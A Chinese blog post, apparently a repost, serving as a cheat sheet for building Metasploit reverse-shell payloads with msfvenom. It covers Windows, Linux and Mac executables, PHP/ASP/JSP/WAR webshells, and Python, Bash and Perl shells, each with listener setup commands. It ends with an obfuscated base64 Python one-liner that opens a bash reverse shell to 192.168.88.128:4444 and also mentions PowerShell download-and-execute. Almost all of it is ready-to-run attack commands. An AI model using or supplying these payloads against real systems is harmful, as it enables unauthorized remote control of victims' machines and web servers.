zoukankan      html  css  js  c++  java
  • msf常用payload

    msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。

    在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:

    msfvenom -l

    生成二进制文件

    关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

    Windows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On> -f macho > shell.macho
    

    如何利用

    针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe

    复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

    1.  
      msfconsole
    2.  
       
    3.  
      use exploit/multi/handler
    4.  
       
    5.  
      set PAYLOAD windows/meterpreter/reverse_tcp
    6.  
       
    7.  
      set LHOST 192.168.88.128
    8.  
       
    9.  
      set LPORT 4444
    10.  
       
    11.  
      set ExitOnSession false
    12.  
       
    13.  
      exploit -j -z

    执行完之后在Windows下执行shell.exe,然后结果如图:

    在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:

    • 双击运行

    • cmd下运行exe

    • 利用Powershell远程下载执行

    • 利用at或schtasks设置计划任务执行

    • 利用wmic远程命令执行

    • 其他的方式请各位补充

    生成webshell脚本

    在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?

    PHP

    1.  
      msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
    2.  
       
    3.  
      cat shell.php | pbcopy && echo '<?php ' | tr -d ' ' > shell.php && pbpaste >> shell.php

    ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

    JSP

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

    WAR

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

    如何利用

    下面以php为例做一下测试,使用以下命令生成一个webshell:

    msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

    在kali上使用msf执行下面的命令,监听端口4444:

    1.  
      msfconsole
    2.  
       
    3.  
      use exploit/multi/handler
    4.  
       
    5.  
      set PAYLOAD php/meterpreter_reverse_tcp
    6.  
       
    7.  
      set LHOST 192.168.88.128
    8.  
       
    9.  
      set LPORT 4444
    10.  
       
    11.  
      set ExitOnSession false
    12.  
       
    13.  
      exploit -j -z

    将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

    php shell.php

    脚本shell

    关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

    Python

    msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

    Bash

    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

    Perl

    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

    如何使用

    下面就以Python为例做一下测试,使用以下命令生成一个脚本:

    msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py

    在kali上使用msf执行下面的命令,监听端口4444:

    1.  
      msfconsole
    2.  
       
    3.  
      use exploit/multi/handler
    4.  
       
    5.  
      set PAYLOAD cmd/unix/reverse_python
    6.  
       
    7.  
      set LHOST 192.168.88.128
    8.  
       
    9.  
      set LPORT 4444
    10.  
       
    11.  
      set ExitOnSession false
    12.  
       
    13.  
      exploit -j -z

    然后复制shell.py中的内容在linux命令行下执行,如下:

    python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

    结果如图:

  • 相关阅读:
    微信公众平台—— 获取微信服务器IP地址
    微信公众平台——获取access_token、expires_in
    PHP版本切换
    开源各种系统
    VUE -- 如何快速的写出一个Vue的icon组件?
    Mac下php 5升级到php 7的步骤详解
    Nginx反向代理导致PHP获取不到正确的HTTP_HOST,SERVER_NAME,客户端IP的解决方法
    nginx服务器URL无法自动添加index.php
    php类库安装xml simplexml
    Mac DBeaver Client home is not specified for connection解决办法
  • 原文地址:https://www.cnblogs.com/xiaobai141/p/14186142.html
Copyright © 2011-2022 走看看